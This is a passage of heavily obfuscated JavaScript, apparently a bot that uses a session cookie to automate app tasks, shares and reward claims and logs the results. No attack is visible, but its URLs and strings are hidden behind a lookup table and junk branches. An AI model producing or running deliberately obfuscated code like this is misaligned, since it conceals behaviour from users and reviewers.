_0x58b075[_0x2271('‮2b1')](httpRequest,_0x58b075[_0x2271('‫2b2')],_0x39ddd0);let _0x297ce4=httpResult;if(!_0x297ce4)return;if(_0x58b075[_0x2271('‮2b3')](_0x297ce4[_0x2271('‮8f')],0x0)){if(_0x58b075[_0x2271('‫2b4')](_0x58b075[_0x2271('‮2b5')],_0x58b075[_0x2271('‮2b5')])){_0x58b075[_0x2271('‮2b6')](logAndNotify,_0x2271('‮2b7')+_0x297ce4[_0x2271('‮ba')]);}else{if(_0x297ce4[_0x2271('‫119')]){if(_0x58b075[_0x2271('‫2b4')](_0x58b075[_0x2271('‫2b8')],_0x58b075[_0x2271('‫2b8')])){let _0x49cdc5=_0x5a0b5d[_0x2271('‫104')]('//','/')[_0x2271('‮9a')]('/')[0x1];let _0x4dfd3b={'url':_0x5a0b5d,'headers':{'Host':_0x49cdc5,'Cookie':cookie,'User-Agent':_0x58b075[_0x2271('‫2b9')],'Connection':_0x58b075[_0x2271('‮2ba')]}};if(_0xa4d026){_0x4dfd3b[_0x2271('‫a3')]=_0xa4d026;_0x4dfd3b[_0x2271('‫a4')][_0x58b075[_0x2271('‫2bb')]]=_0x58b075[_0x2271('‮2bc')];_0x4dfd3b[_0x2271('‫a4')][_0x58b075[_0x2271('‫2bd')]]=_0x4dfd3b[_0x2271('‫a3')]?_0x4dfd3b[_0x2271('‫a3')][_0x2271('‫55')]:0x0;}return _0x4dfd3b;}else{console[_0x2271('‫4f')]('获取'+_0xd97354[_0x2271('‮50')]+'['+_0xd97354[_0x2271('‮51')]+_0x2271('‮bb')+_0x297ce4[_0x2271('‫bc')]);}}else{if(_0x297ce4[_0x2271('‮121')]&&_0x58b075[_0x2271('‫2be')](_0x297ce4[_0x2271('‮121')][_0x2271('‫55')],0x0)){if(_0x58b075[_0x2271('‮2bf')](_0x58b075[_0x2271('‮2c0')],_0x58b075[_0x2271('‮2c1')])){t=_0x58b075[_0x2271('‫2c2')](t,String[_0x2271('‮79')](i));}else{for(let _0x1c0c56 of _0x297ce4[_0x2271('‮121')]){if(_0x58b075[_0x2271('‮2c3')](_0x58b075[_0x2271('‫2c4')],_0x58b075[_0x2271('‫2c5')])){if(_0x1c0c56[_0x2271('‫133')]){if(_0x58b075[_0x2271('‮2bf')](_0x58b075[_0x2271('‮2c6')],_0x58b075[_0x2271('‫2c7')])){console[_0x2271('‫4f')](_0xd97354[_0x2271('‮50')]+'['+_0xd97354[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‮29c')+_0x297ce4[_0x2271('‮ba')]);}else{await this[_0x2271('‮23f')](_0xd97354[_0x2271('‮51')],_0x1c0c56[_0x2271('‫133')]);continue;}}if(_0x58b075[_0x2271('‫2c8')](_0x1c0c56[_0x2271('‮264')],0x0)){continue;}if(_0x1c0c56[_0x2271('‮125')]&&_0x58b075[_0x2271('‫2c9')](_0x1c0c56[_0x2271('‮125')][_0x2271('‫55')],0x0)){for(let _0x32b777 of _0x1c0c56[_0x2271('‮125')]){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫2ca')](_0xd97354,_0x32b777['id'],_0x32b777[_0x2271('‮26a')]);}}}else{console[_0x2271('‫4f')](_0x2271('‮293')+_0x297ce4[_0x2271('‮ba')]);}}}}}}}else{console[_0x2271('‫4f')]('获取'+_0xd97354[_0x2271('‮50')]+'['+_0xd97354[_0x2271('‮51')]+_0x2271('‮bb')+_0x297ce4[_0x2271('‮ba')]);}}catch(_0x56e567){if(_0x58b075[_0x2271('‫2cb')](_0x58b075[_0x2271('‫2cc')],_0x58b075[_0x2271('‫2cc')])){console[_0x2271('‫4f')](_0x56e567);}else{return _0x58b075[_0x2271('‮2cd')](b,_0x58b075[_0x2271('‫2ce')](a,~c));}}finally{}}async[_0x2271('‫2ca')](_0x51df06,_0x2300c,_0x4a9cc5,_0x13f60f=''){var _0x3fc2de={'gwziO':function(_0x9b88,_0x450576){return _0x9b88==_0x450576;},'YZOPm':function(_0x1f782d,_0x324f7b){return _0x1f782d===_0x324f7b;},'Gygjp':_0x2271('‫2cf'),'aKFSz':function(_0x2f03ff,_0x821d7d,_0x981adb,_0x3a0f51){return _0x2f03ff(_0x821d7d,_0x981adb,_0x3a0f51);},'HAHRE':function(_0x21a10c,_0xe2821c,_0x474f01){return _0x21a10c(_0xe2821c,_0x474f01);},'OZTBn':_0x2271('‫62'),'Hysgp':function(_0x5a2ece,_0x42155d){return _0x5a2ece==_0x42155d;},'EwRHB':function(_0x3ca78f,_0x2a6235){return _0x3ca78f==_0x2a6235;},'prvxh':_0x2271('‫2d0'),'tjZXy':_0x2271('‮2d1')};try{if(_0x3fc2de[_0x2271('‫2d2')](_0x3fc2de[_0x2271('‫2d3')],_0x3fc2de[_0x2271('‫2d3')])){let _0x45771c=_0x2271('‫2d4');let _0x31a02e=_0x2271('‫2d5')+_0x51df06[_0x2271('‮51')]+_0x2271('‫296')+_0x2300c+_0x2271('‮274')+_0x4a9cc5+_0x2271('‮2d6');let _0x53307c=_0x3fc2de[_0x2271('‮2d7')](populateUrlObject,_0x45771c,this[_0x2271('‫47')],_0x31a02e);await _0x3fc2de[_0x2271('‮2d8')](httpRequest,_0x3fc2de[_0x2271('‮2d9')],_0x53307c);let _0x56e775=httpResult;if(!_0x56e775)return;if(_0x3fc2de[_0x2271('‫2da')](_0x56e775[_0x2271('‮8f')],0x0)){if(_0x3fc2de[_0x2271('‮2db')](_0x56e775[_0x2271('‫284')],0x0)){if(_0x3fc2de[_0x2271('‫2d2')](_0x3fc2de[_0x2271('‫2dc')],_0x3fc2de[_0x2271('‮2dd')])){if(_0x56e775[_0x2271('‮2de')]&&_0x3fc2de[_0x2271('‮2df')](_0x56e775[_0x2271('‮2de')][_0x2271('‮12f')],0x1)){console[_0x2271('‫4f')]('['+share_type+_0x2271('‫2e0')+_0x56e775[_0x2271('‮2de')][_0x2271('‮2e1')]+']');}else if(_0x3fc2de[_0x2271('‮2df')](_0x56e775[_0x2271('‮ba')],'OK')){console[_0x2271('‫4f')]('['+share_type+_0x2271('‮2e2'));}else{console[_0x2271('‫4f')](_0x56e775);}}else{await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫2e3')](_0x51df06,_0x2300c,_0x4a9cc5);}}else{console[_0x2271('‫4f')](_0x51df06[_0x2271('‮50')]+'['+_0x51df06[_0x2271('‮51')]+'-'+_0x2300c+'-'+_0x4a9cc5+_0x2271('‮5e'));}}else{console[_0x2271('‫4f')](_0x2271('‮24c')+_0x51df06[_0x2271('‮51')]+'-'+_0x2300c+'-'+_0x4a9cc5+_0x2271('‫24d')+_0x56e775[_0x2271('‮ba')]);}}else{console[_0x2271('‫4f')](_0x2271('‮226')+result[_0x2271('‮ba')]);this[_0x2271('‮1ab')]=![];}}catch(_0x4a0487){console[_0x2271('‫4f')](_0x4a0487);}finally{}}async[_0x2271('‫2e3')](_0x317510,_0x340f7c,_0x267ace){var _0x51cb18={'rVtag':function(_0xd88a68,_0x54e857,_0x2fceb6,_0x37f9e9){return _0xd88a68(_0x54e857,_0x2fceb6,_0x37f9e9);},'JjrHR':function(_0x99afe6,_0x9833b5,_0x30ae93){return _0x99afe6(_0x9833b5,_0x30ae93);},'vewro':_0x2271('‫62'),'saITD':function(_0xad1e2c,_0x128e15){return _0xad1e2c==_0x128e15;},'iQsTt':function(_0x286ccb,_0x4e0164){return _0x286ccb===_0x4e0164;},'eqWIm':_0x2271('‫2e4')};try{let _0x1b00cb=_0x2271('‫2d4');let _0x5f318a=_0x2271('‫2d5')+_0x317510[_0x2271('‮51')]+_0x2271('‫2e5');let _0x1cb076=_0x51cb18[_0x2271('‫2e6')](populateUrlObject,_0x1b00cb,this[_0x2271('‫47')],_0x5f318a);await _0x51cb18[_0x2271('‫2e7')](httpRequest,_0x51cb18[_0x2271('‫2e8')],_0x1cb076);let _0xd8da51=httpResult;if(!_0xd8da51)return;if(_0x51cb18[_0x2271('‫2e9')](_0xd8da51[_0x2271('‮8f')],0x0)){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫2ea')](_0x317510,_0xd8da51[_0x2271('‫290')],_0x340f7c,_0x267ace);}else{console[_0x2271('‫4f')](_0x2271('‮293')+_0xd8da51[_0x2271('‮ba')]);}}catch(_0x2946e2){if(_0x51cb18[_0x2271('‫2eb')](_0x51cb18[_0x2271('‮2ec')],_0x51cb18[_0x2271('‮2ec')])){console[_0x2271('‫4f')](_0x2946e2);}else{console[_0x2271('‫4f')](_0x2271('‫2ed')+share_type+_0x2271('‮2ee')+result[_0x2271('‮ba')]);}}finally{}}async[_0x2271('‫2ea')](_0xf80c89,_0x1c1eb2,_0x28f81e,_0x34fa1d){var _0x330e15={'FSjpu':function(_0xf9d58c,_0x53ce61){return _0xf9d58c>=_0x53ce61;},'NLgEB':function(_0x4f1962,_0x529239){return _0x4f1962&_0x529239;},'KIJTl':function(_0x42b1b4,_0x270175){return _0x42b1b4>>>_0x270175;},'xfokC':function(_0x47fa5b,_0x430f67){return _0x47fa5b*_0x430f67;},'vgSvR':function(_0x5d1a6d,_0x3cc850){return _0x5d1a6d+_0x3cc850;},'QUJOy':function(_0x47b05f,_0x4e902f){return _0x47b05f-_0x4e902f;},'eGJtc':function(_0x219f3c,_0x10a7db,_0x29f52b,_0x651ddd){return _0x219f3c(_0x10a7db,_0x29f52b,_0x651ddd);},'ZmdjY':function(_0x2edb39,_0x47af82,_0x15954f){return _0x2edb39(_0x47af82,_0x15954f);},'zlwce':_0x2271('‫62'),'IJaLx':function(_0x5b6609,_0x546f90){return _0x5b6609==_0x546f90;},'YjLDK':function(_0x4e237f,_0x40466d){return _0x4e237f===_0x40466d;},'jAxyy':_0x2271('‮2ef'),'kNEAP':_0x2271('‮2f0'),'AoxTq':function(_0x4fcf1c,_0x363587){return _0x4fcf1c===_0x363587;},'TnWHp':_0x2271('‮2f1')};try{let _0xb41699=_0x2271('‫2d4');let _0x36b9ed=_0x2271('‫2d5')+_0xf80c89[_0x2271('‮51')]+_0x2271('‫296')+_0x28f81e+_0x2271('‮274')+_0x34fa1d+_0x2271('‫2f2')+_0x1c1eb2;let _0x816ec7=_0x330e15[_0x2271('‮2f3')](populateUrlObject,_0xb41699,this[_0x2271('‫47')],_0x36b9ed);await _0x330e15[_0x2271('‮2f4')](httpRequest,_0x330e15[_0x2271('‮2f5')],_0x816ec7);let _0x31c5b5=httpResult;if(!_0x31c5b5)return;if(_0x330e15[_0x2271('‮2f6')](_0x31c5b5[_0x2271('‮8f')],0x0)){if(_0x330e15[_0x2271('‫2f7')](_0x330e15[_0x2271('‫2f8')],_0x330e15[_0x2271('‫2f9')])){var _0x16decc,_0x27933d,_0xc4c810='',_0xd0d2bf='';for(_0x27933d=0x0;_0x330e15[_0x2271('‫2fa')](0x3,_0x27933d);_0x27933d++)_0x16decc=_0x330e15[_0x2271('‮2fb')](_0x330e15[_0x2271('‫2fc')](a,_0x330e15[_0x2271('‫2fd')](0x8,_0x27933d)),0xff),_0xd0d2bf=_0x330e15[_0x2271('‫2fe')]('0',_0x16decc[_0x2271('‫2ff')](0x10)),_0xc4c810+=_0xd0d2bf[_0x2271('‫300')](_0x330e15[_0x2271('‮301')](_0xd0d2bf[_0x2271('‫55')],0x2),0x2);return _0xc4c810;}else{console[_0x2271('‫4f')]('完成'+_0xf80c89[_0x2271('‮50')]+'['+_0xf80c89[_0x2271('‮51')]+'-'+_0x28f81e+'-'+_0x34fa1d+_0x2271('‫52')+_0x31c5b5[_0x2271('‫53')]);}}else{if(_0x330e15[_0x2271('‮302')](_0x330e15[_0x2271('‫303')],_0x330e15[_0x2271('‫303')])){console[_0x2271('‫4f')](_0xf80c89[_0x2271('‮50')]+'['+_0xf80c89[_0x2271('‮51')]+'-'+_0x28f81e+'-'+_0x34fa1d+_0x2271('‮29c')+_0x31c5b5[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')](_0x2271('‮1cb')+_0x31c5b5[_0x2271('‮ba')]);}}}catch(_0x59a8dd){console[_0x2271('‫4f')](_0x59a8dd);}finally{}}async[_0x2271('‫b1')](_0xc2f7f4){var _0x14f075={'WRelF':function(_0x10c3d7,_0x2ae26a){return _0x10c3d7>_0x2ae26a;},'YjSrs':function(_0xd70ab6,_0x4f823a){return _0xd70ab6>_0x4f823a;},'yKYkq':function(_0x425f08,_0x4bf797){return _0x425f08>_0x4bf797;},'uNtTj':function(_0x51e7fd,_0x560e5b){return _0x51e7fd|_0x560e5b;},'MmipT':function(_0x25c37f,_0x4aaeb8){return _0x25c37f>>_0x4aaeb8;},'SCqTz':function(_0x1317d8,_0xe51a83){return _0x1317d8|_0xe51a83;},'wlwyI':function(_0x27265e,_0x55d02f){return _0x27265e&_0x55d02f;},'Tlzmt':function(_0x1e0546,_0x2371c3){return _0x1e0546|_0x2371c3;},'eVtOP':function(_0x4a726c,_0x161f58){return _0x4a726c|_0x161f58;},'vaEho':function(_0x59091d,_0x4cf18d){return _0x59091d&_0x4cf18d;},'jXsoR':function(_0x270ae5,_0x3d7895,_0xf911e8,_0x46cc56){return _0x270ae5(_0x3d7895,_0xf911e8,_0x46cc56);},'TfroN':function(_0x183121,_0x58fb93,_0x6ccd06){return _0x183121(_0x58fb93,_0x6ccd06);},'ejmph':_0x2271('‫82'),'tpfeD':function(_0x1e193e,_0x238891){return _0x1e193e==_0x238891;},'FStwf':function(_0x3dff34,_0x16d41d){return _0x3dff34===_0x16d41d;},'uQLZV':_0x2271('‫304')};try{let _0x37be63=_0x2271('‮305')+Date[_0x2271('‫306')]()+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x255771='';let _0x213db0=_0x14f075[_0x2271('‮307')](populateUrlObject,_0x37be63,this[_0x2271('‫47')],_0x255771);await _0x14f075[_0x2271('‫308')](httpRequest,_0x14f075[_0x2271('‫309')],_0x213db0);let _0x6db96b=httpResult;if(!_0x6db96b)return;if(_0x14f075[_0x2271('‫30a')](_0x6db96b[_0x2271('‮8f')],0x0)){if(_0x6db96b[_0x2271('‮30b')]){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮30c')](_0x6db96b[_0x2271('‮30b')],_0xc2f7f4);}else{if(_0x14f075[_0x2271('‮30d')](_0x14f075[_0x2271('‫30e')],_0x14f075[_0x2271('‫30e')])){console[_0x2271('‫4f')](_0x2271('‫30f'));}else{var _0x1a1c06=a[_0x2271('‮d7')](c);_0x14f075[_0x2271('‮310')](0x80,_0x1a1c06)?b+=String[_0x2271('‮79')](_0x1a1c06):_0x14f075[_0x2271('‫311')](_0x1a1c06,0x7f)&&_0x14f075[_0x2271('‮312')](0x800,_0x1a1c06)?(b+=String[_0x2271('‮79')](_0x14f075[_0x2271('‮313')](_0x14f075[_0x2271('‮314')](_0x1a1c06,0x6),0xc0)),b+=String[_0x2271('‮79')](_0x14f075[_0x2271('‮315')](_0x14f075[_0x2271('‫316')](0x3f,_0x1a1c06),0x80))):(b+=String[_0x2271('‮79')](_0x14f075[_0x2271('‮317')](_0x14f075[_0x2271('‮314')](_0x1a1c06,0xc),0xe0)),b+=String[_0x2271('‮79')](_0x14f075[_0x2271('‮317')](_0x14f075[_0x2271('‫316')](_0x14f075[_0x2271('‮314')](_0x1a1c06,0x6),0x3f),0x80)),b+=String[_0x2271('‮79')](_0x14f075[_0x2271('‫318')](_0x14f075[_0x2271('‮319')](0x3f,_0x1a1c06),0x80)));}}}else{console[_0x2271('‫4f')](_0x2271('‫31a')+_0x6db96b[_0x2271('‮ba')]);}}catch(_0x30138b){console[_0x2271('‫4f')](_0x30138b);}finally{}}async[_0x2271('‮30c')](_0x5715d4,_0x1b5642){var _0x46d634={'AoQre':function(_0x22850d,_0x295ca,_0x55ecd3,_0x24950d){return _0x22850d(_0x295ca,_0x55ecd3,_0x24950d);},'WosDY':function(_0x1d952f,_0x37d878,_0x402ea7){return _0x1d952f(_0x37d878,_0x402ea7);},'pnjsp':_0x2271('‫82'),'QNvpU':function(_0x5ccf36,_0xd546a6){return _0x5ccf36==_0xd546a6;},'fUtFX':function(_0x1a5986,_0x1d15f0){return _0x1a5986(_0x1d15f0);},'xcSrE':function(_0x4064da,_0x47b06c){return _0x4064da(_0x47b06c);},'Mhrct':function(_0x36bb63,_0x1d00af){return _0x36bb63===_0x1d00af;},'BvHiQ':_0x2271('‫31b'),'TPGtm':_0x2271('‫31c')};try{let _0x39ce84=_0x2271('‫31d')+_0x5715d4+_0x2271('‫31e')+_0x1b5642+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0xc340ed='';let _0x35e4e0=_0x46d634[_0x2271('‮31f')](populateUrlObject,_0x39ce84,this[_0x2271('‫47')],_0xc340ed);await _0x46d634[_0x2271('‮320')](httpRequest,_0x46d634[_0x2271('‮321')],_0x35e4e0);let _0x519231=httpResult;if(!_0x519231)return;if(_0x46d634[_0x2271('‮322')](_0x519231[_0x2271('‮8f')],0x0)){_0x46d634[_0x2271('‮323')](logAndNotify,_0x2271('‮2b7')+_0x519231[_0x2271('‮ba')]);}else{_0x46d634[_0x2271('‫324')](logAndNotify,_0x2271('‫325')+_0x519231[_0x2271('‮ba')]);}}catch(_0x123d4b){if(_0x46d634[_0x2271('‫326')](_0x46d634[_0x2271('‫327')],_0x46d634[_0x2271('‫328')])){console[_0x2271('‫4f')](_0x123d4b);}else{console[_0x2271('‫4f')](_0x123d4b);}}finally{}}async[_0x2271('‫329')](){var _0x5c76cb={'iOAmL':function(_0x678f21,_0x30d4cd,_0x357752){return _0x678f21(_0x30d4cd,_0x357752);},'WsTfT':function(_0x486c4f,_0x476ab7,_0xa23d37){return _0x486c4f(_0x476ab7,_0xa23d37);},'ZJOym':function(_0x29465c,_0x155682,_0x197da3,_0x293993){return _0x29465c(_0x155682,_0x197da3,_0x293993);},'tLZsM':function(_0x2c54a6,_0x3a6118,_0x520355){return _0x2c54a6(_0x3a6118,_0x520355);},'yUgKs':_0x2271('‫82'),'pzZAO':function(_0xdf8ce8,_0x2d919f){return _0xdf8ce8==_0x2d919f;},'TGLoZ':function(_0x53c5f7,_0xe3bd){return _0x53c5f7!==_0xe3bd;},'qpkyR':_0x2271('‮32a'),'EjbVq':_0x2271('‫32b'),'WaxyX':function(_0x17f2ed,_0x46c1e9){return _0x17f2ed===_0x46c1e9;},'acgJh':_0x2271('‮32c'),'ShOim':_0x2271('‫32d'),'vrsPn':_0x2271('‮32e'),'uRocM':_0x2271('‮32f')};try{let _0x1ae878=_0x2271('‮330')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x2245e8='';let _0x528ba3=_0x5c76cb[_0x2271('‮331')](populateUrlObject,_0x1ae878,this[_0x2271('‫47')],_0x2245e8);await _0x5c76cb[_0x2271('‮332')](httpRequest,_0x5c76cb[_0x2271('‫333')],_0x528ba3);let _0x53e99b=httpResult;if(!_0x53e99b)return;if(_0x5c76cb[_0x2271('‮334')](_0x53e99b[_0x2271('‮8f')],0x0)){if(_0x5c76cb[_0x2271('‮335')](_0x5c76cb[_0x2271('‮336')],_0x5c76cb[_0x2271('‮337')])){if(_0x53e99b[_0x2271('‫119')]){if(_0x5c76cb[_0x2271('‮338')](_0x5c76cb[_0x2271('‫339')],_0x5c76cb[_0x2271('‫339')])){console[_0x2271('‫4f')](_0x2271('‫33a')+_0x53e99b[_0x2271('‫bc')]);}else{_0x1ae878+=_0x2271('‮113')+todayDate;}}else{var _0x3a42ae=_0x5c76cb[_0x2271('‮33b')][_0x2271('‮9a')]('|'),_0x4ec718=0x0;while(!![]){switch(_0x3a42ae[_0x4ec718++]){case'0':console[_0x2271('‫4f')](_0x2271('‫33c')+_0x53e99b[_0x2271('‮33d')][_0x2271('‮33e')]);continue;case'1':console[_0x2271('‫4f')](_0x2271('‮33f')+_0x53e99b[_0x2271('‮33d')][_0x2271('‫340')]);continue;case'2':this[_0x2271('‮3e')][_0x2271('‮341')][_0x2271('‫342')]=_0x53e99b[_0x2271('‫343')]||'';continue;case'3':this[_0x2271('‫3f')]=!![];continue;case'4':console[_0x2271('‫4f')](_0x2271('‮344')+_0x53e99b[_0x2271('‮33d')][_0x2271('‫345')]);continue;case'5':console[_0x2271('‫4f')](_0x2271('‮346'));continue;case'6':console[_0x2271('‫4f')](_0x2271('‫347')+_0x53e99b[_0x2271('‮33d')][_0x2271('‫348')]);continue;case'7':this[_0x2271('‮3e')][_0x2271('‮341')][_0x2271('‫349')]=_0x53e99b[_0x2271('‮34a')]||'';continue;}break;}}}else{console[_0x2271('‫4f')](_0x2271('‫21c')+stockItem[_0x2271('‫21d')]);}}else{if(_0x5c76cb[_0x2271('‮338')](_0x5c76cb[_0x2271('‮34b')],_0x5c76cb[_0x2271('‮34c')])){return a=_0x5c76cb[_0x2271('‫34d')](c,a,_0x5c76cb[_0x2271('‫34d')](c,_0x5c76cb[_0x2271('‮34e')](c,_0x5c76cb[_0x2271('‮331')](d,e,f,g),h),j)),_0x5c76cb[_0x2271('‮34e')](c,_0x5c76cb[_0x2271('‮34e')](b,a,i),e);}else{console[_0x2271('‫4f')](_0x2271('‮1ef')+_0x53e99b[_0x2271('‮ba')]);}}}catch(_0x3f61eb){console[_0x2271('‫4f')](_0x3f61eb);}finally{}}async[_0x2271('‮34f')](_0x3e6e1d,_0x40f256=''){var _0x52713e={'baAlX':_0x2271('‮350'),'mIabX':_0x2271('‮351'),'BDEWO':function(_0x28c344,_0x73816a){return _0x28c344<_0x73816a;},'lCVze':_0x2271('‫352'),'WPdke':function(_0x5a1b57,_0x4d9d3a){return _0x5a1b57|_0x4d9d3a;},'jyGHk':function(_0x475d9b,_0x48cf32){return _0x475d9b<<_0x48cf32;},'UdGwC':function(_0x5a4ff2,_0x4b03e2){return _0x5a4ff2>>_0x4b03e2;},'qLHDA':function(_0xebc348,_0x1795ea){return _0xebc348!=_0x1795ea;},'ZYgiD':function(_0x505a87,_0x4f8610){return _0x505a87+_0x4f8610;},'cgIsR':function(_0x1aeb37,_0x3c80c7){return _0x1aeb37<<_0x3c80c7;},'TPGGh':function(_0x3ff3a1,_0x6671fb){return _0x3ff3a1&_0x6671fb;},'WJYQF':function(_0x141b1f,_0x922996){return _0x141b1f>>_0x922996;},'zyZnM':function(_0x193c27,_0xe39bab){return _0x193c27!=_0xe39bab;},'ArUEQ':function(_0x3431e0,_0x46287e){return _0x3431e0+_0x46287e;},'xsrWs':function(_0x272f3c,_0x14bb12){return _0x272f3c+_0x14bb12;},'hBVbY':function(_0x516fea,_0xe6b675){return _0x516fea|_0xe6b675;},'MOucl':function(_0x316df7,_0x4fa548){return _0x316df7<<_0x4fa548;},'ieQQC':function(_0x3ff540,_0x426886){return _0x3ff540&_0x426886;},'aRuxt':function(_0x1ab7a2,_0x5925eb,_0x5f7a90,_0xb7c8ec){return _0x1ab7a2(_0x5925eb,_0x5f7a90,_0xb7c8ec);},'oLJtD':function(_0x7b056c,_0x5e5c2e,_0x2b26ae){return _0x7b056c(_0x5e5c2e,_0x2b26ae);},'ZVRgY':_0x2271('‫82'),'YRouf':function(_0x5d684b,_0x4d0c8e){return _0x5d684b==_0x4d0c8e;},'KXwvf':function(_0x52cb49,_0x2ed823){return _0x52cb49>_0x2ed823;},'NjOqJ':function(_0x14b166,_0x596674){return _0x14b166!==_0x596674;},'hfNVw':_0x2271('‫353'),'MFgql':_0x2271('‮354'),'ofzZF':_0x2271('‮355'),'ZZPEw':_0x2271('‮356'),'ubxFN':function(_0x1d89ca,_0x165ff2){return _0x1d89ca>_0x165ff2;},'Fwwdq':function(_0xd57e39,_0x48efe6){return _0xd57e39>_0x48efe6;},'sKFiS':_0x2271('‫2b'),'RQdDg':_0x2271('‫357'),'WaVnO':_0x2271('‮358'),'QQTCM':function(_0x3824cd,_0x4c3d7b){return _0x3824cd===_0x4c3d7b;},'iPRCu':_0x2271('‮359'),'tOmUg':_0x2271('‮35a')};try{let _0xd51f2d=_0x2271('‮35b')+_0x3e6e1d[_0x2271('‫35c')]+_0x2271('‫22f')+_0x3e6e1d[_0x2271('‮51')]+_0x40f256+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x3cb1e0='';let _0x3808e8=_0x52713e[_0x2271('‫35d')](populateUrlObject,_0xd51f2d,this[_0x2271('‫47')],_0x3cb1e0);await _0x52713e[_0x2271('‫35e')](httpRequest,_0x52713e[_0x2271('‫35f')],_0x3808e8);let _0x5edd89=httpResult;if(!_0x5edd89)return;if(_0x52713e[_0x2271('‫360')](_0x5edd89[_0x2271('‮8f')],0x0)){if(_0x52713e[_0x2271('‫361')](_0x5edd89[_0x2271('‫119')],0x0)){if(_0x52713e[_0x2271('‮362')](_0x52713e[_0x2271('‫363')],_0x52713e[_0x2271('‫364')])){console[_0x2271('‫4f')]('结束'+_0x3e6e1d[_0x2271('‮50')]+':'+_0x5edd89[_0x2271('‫bc')]);}else{if(_0x5edd89[_0x2271('‫119')]){console[_0x2271('‫4f')](_0x2271('‫33a')+_0x5edd89[_0x2271('‫bc')]);}else{var _0x619d74=_0x52713e[_0x2271('‮365')][_0x2271('‮9a')]('|'),_0x456425=0x0;while(!![]){switch(_0x619d74[_0x456425++]){case'0':console[_0x2271('‫4f')](_0x2271('‮33f')+_0x5edd89[_0x2271('‮33d')][_0x2271('‫340')]);continue;case'1':console[_0x2271('‫4f')](_0x2271('‮344')+_0x5edd89[_0x2271('‮33d')][_0x2271('‫345')]);continue;case'2':console[_0x2271('‫4f')](_0x2271('‫33c')+_0x5edd89[_0x2271('‮33d')][_0x2271('‮33e')]);continue;case'3':console[_0x2271('‫4f')](_0x2271('‫347')+_0x5edd89[_0x2271('‮33d')][_0x2271('‫348')]);continue;case'4':this[_0x2271('‫3f')]=!![];continue;case'5':console[_0x2271('‫4f')](_0x2271('‮346'));continue;case'6':this[_0x2271('‮3e')][_0x2271('‮341')][_0x2271('‫349')]=_0x5edd89[_0x2271('‮34a')]||'';continue;case'7':this[_0x2271('‮3e')][_0x2271('‮341')][_0x2271('‫342')]=_0x5edd89[_0x2271('‫343')]||'';continue;}break;}}}}else if(_0x5edd89[_0x2271('‮366')]){console[_0x2271('‫4f')](_0x3e6e1d[_0x2271('‮50')]+_0x2271('‫367')+_0x5edd89[_0x2271('‮366')][0x0][_0x2271('‫53')]);await $[_0x2271('‮b0')](BULL_WAITTIME);await this[_0x2271('‮34f')](_0x3e6e1d);}else if(_0x5edd89[_0x2271('‫368')]){if(_0x52713e[_0x2271('‮362')](_0x52713e[_0x2271('‮369')],_0x52713e[_0x2271('‮36a')])){console[_0x2271('‫4f')](_0x3e6e1d[_0x2271('‮50')]+_0x2271('‫367')+_0x5edd89[_0x2271('‫368')]);await $[_0x2271('‮b0')](BULL_WAITTIME);await this[_0x2271('‮34f')](_0x3e6e1d,_0x40f256);}else{t+=String[_0x2271('‮79')](r);}}else if(_0x5edd89[_0x2271('‫36b')]){console[_0x2271('‫4f')](_0x3e6e1d[_0x2271('‮50')]+_0x2271('‫367')+_0x5edd89[_0x2271('‫36b')][_0x2271('‮36c')]);await $[_0x2271('‮b0')](BULL_WAITTIME);await this[_0x2271('‮34f')](_0x3e6e1d);}else if(_0x5edd89[_0x2271('‮36d')]&&_0x52713e[_0x2271('‮36e')](_0x5edd89[_0x2271('‮36d')][_0x2271('‫55')],0x0)){for(let _0x4fa541 of _0x5edd89[_0x2271('‮36d')]){if(_0x52713e[_0x2271('‮36f')](_0x4fa541[_0x2271('‫370')],0x1)){await $[_0x2271('‮b0')](BULL_WAITTIME);await this[_0x2271('‮34f')](bullTaskArray[_0x52713e[_0x2271('‫371')]],_0x2271('‫372')+_0x4fa541[_0x2271('‫373')]);}}}else if(_0x5edd89[_0x2271('‮374')]){if(_0x52713e[_0x2271('‮362')](_0x52713e[_0x2271('‫375')],_0x52713e[_0x2271('‫376')])){console[_0x2271('‫4f')](_0x3e6e1d[_0x2271('‮50')]+_0x2271('‫367')+_0x5edd89[_0x2271('‮374')][_0x2271('‫53')]);if(_0x52713e[_0x2271('‫360')](_0x5edd89[_0x2271('‮377')],0x1)){if(_0x52713e[_0x2271('‮378')](_0x52713e[_0x2271('‫379')],_0x52713e[_0x2271('‫37a')])){console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‫b4')+cashItem[_0x2271('‮ad')]+_0x2271('‮b5'));}else{console[_0x2271('‫4f')](_0x2271('‮fe')+_0x5edd89[_0x2271('‫ff')]+_0x2271('‮100')+_0x5edd89[_0x2271('‮101')][_0x2271('‫53')]);}}await $[_0x2271('‮b0')](BULL_WAITTIME);await this[_0x2271('‮34f')](_0x3e6e1d);}else{var _0x12e789=_0x52713e[_0x2271('‮37b')][_0x2271('‮9a')]('|'),_0x2ff1d5=0x0;while(!![]){switch(_0x12e789[_0x2ff1d5++]){case'0':var _0x241d0b=0x0;continue;case'1':return _0x4dc517;case'2':var _0x398d09,_0x26557b,_0x3c785d,_0x34896e;continue;case'3':_0x4dc517=Base64[_0x2271('‮37c')](_0x4dc517);continue;case'4':while(_0x52713e[_0x2271('‮37d')](_0x241d0b,e[_0x2271('‫55')])){var 